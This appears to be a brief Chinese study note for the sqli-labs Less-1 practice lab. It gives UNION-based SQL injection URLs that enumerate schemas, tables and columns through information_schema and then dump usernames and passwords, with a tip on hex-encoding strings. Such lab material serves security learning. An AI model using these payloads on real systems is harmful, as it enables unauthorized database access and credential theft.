庫名

http://192.168.0.108/Less-1/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

image.png

表名

http://192.168.0.108/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

不使用雙引號也可直接使用十六進(jìn)制(0x****)

image.png

列名

http://192.168.0.108/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

image.png

數(shù)據(jù)

http://192.168.0.108/Less-1/?id=-1' union select 1,(select group_concat(username,'~',password) from security.users),3 --+

image.png

核心語法

image.png